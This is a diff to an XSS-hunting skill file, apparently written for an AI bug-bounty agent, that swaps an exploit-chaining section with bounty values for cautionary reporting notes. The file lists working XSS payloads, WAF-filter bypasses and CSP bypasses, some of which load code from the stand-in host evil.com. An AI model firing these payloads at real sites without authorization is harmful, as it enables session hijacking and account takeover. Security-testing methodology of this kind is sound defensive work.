hunt-xss · diff
git:20260923.82a4143 to git:20260929.29bbcb8
13 added, 7 removed. Audit B to B.
What this update changes in the checks
No check changed: every fixed check gives the same answer before and after this update.
A tripped check is a label, not a verdict: read the matched text and the lines below. This week's updates that newly trip a check.
---
name: hunt-xss
description: XSS — reflected, stored, DOM, postMessage, WAF bypass, CSP bypass. Must demonstrate script execution in victim's context.
---
# XSS HUNTING — 3 BULLETS MAX
**Core:** Malicious script EXECUTES in victim's browser with their session.
## DIFFERENTIAL
```bash
# Normal input → safe
curl -s "https://target.com/search?q=hello" | grep "hello"
# Payload → unescaped = XSS
curl -s "https://target.com/search?q=<script>alert(1)</script>" | grep "<script>"
```
## PAYLOADS (by context)
```
HTML context: <script>alert(1)</script> <img src=x onerror=alert(1)>
Attribute: " onfocus=alert(1) autofocus=" ' onmouseover=alert(1)'
JS context: '-alert(1)-' \-alert(1)//
URL context: javascript:alert(1)
DOM sources: location.hash, document.referrer, window.name
DOM sinks: innerHTML, document.write, eval, setTimeout(string)
```
## WAF BYPASS
```
Case: <ScRiPt> Comment: <scr/**/ipt> Encoding: <script>
Double: %253Cscript%253E SVG: <svg/onload=alert(1)>
Details: <details open ontoggle=alert(1)>
Input: <input onfocus=alert(1) autofocus>
Polyglot: '"><marquee><img src=x onerror=confirm(1)></marquee>
```
## CSP BYPASS
```
JSONP: <script src="https://target.com/jsonp?callback=alert(1)//"></script>
Angular: <script src="angular.min.js"></script><div ng-app>{{constructor.constructor('alert(1)')()}}</div>
Base: <base href="https://evil.com/"> Font: @font-face{src:url('https://evil.com/font')}
Service Worker: navigator.serviceWorker.register('https://evil.com/sw.js')
```
- ## CHAINS
+ ## COMPOUND RISK (note it, don't stage it)
```
- Reflected XSS + cookie theft → Session hijack → ATO ($500 → $50K)
- Stored XSS + admin panel → Privilege escalation → Critical ($1K → $50K)
- DOM XSS + OAuth flow → Token theft → ATO ($500 → $50K)
- Self-XSS + CSRF → Trigger on victim → ATO ($200 → $10K)
+ Reflected XSS + cookie theft → note: session impact depends on cookie flags
+ Stored XSS + admin views content → note: would reach privileged users
+ DOM XSS + OAuth flow → note: token exposure depends on flow
+ Self-XSS + CSRF → note: needs a delivery vector to matter
```
+ Report the XSS you proved, at the severity its **actual** impact supports.
+ Check the cookie flags (`HttpOnly` is the norm) and say what is reachable;
+ do not attempt to ride an admin session or exfiltrate a real token to make the
+ report look bigger. If cookie theft is genuinely possible, one demonstration
+ against your own test account is the whole proof.
+
## FALSE POSITIVES
- Payload HTML-encoded (`<`) → not XSS
- In JS string (needs different escape) → not XSS
- - Self-XSS only → need to demonstrate on ANOTHER user
- - CSP blocks execution → not XSS
+ - Self-XSS only → **not reportable** (Gate 6); do not try to weaponize delivery
+ - CSP blocks execution → not XSS (report the CSP gap separately, if at all)